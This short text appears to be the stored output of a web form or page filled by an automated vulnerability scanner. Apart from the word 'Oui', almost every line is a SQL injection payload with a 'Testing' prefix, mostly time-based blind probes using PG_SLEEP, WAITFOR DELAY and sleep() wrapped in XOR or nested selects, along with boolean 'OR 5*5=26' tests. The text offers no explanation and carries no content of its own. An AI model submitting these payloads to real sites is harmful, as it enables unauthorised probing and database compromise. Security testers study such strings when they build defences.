Oui

1 TestingYor7BPAv' OR 475=(SELECT 475 FROM PG_SLEEP(15))--

1 Testing4ZvgMepc'; waitfor delay '0:0:15' --

1 Testing-1 waitfor delay '0:0:15' --

1 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 Testing0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1 Testing0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1 if(now()=sysdate(),sleep(15),0)

1 -1" OR 5*5=26 --

1 -1' OR 5*5=26 --

1 TestingTTaLRAm3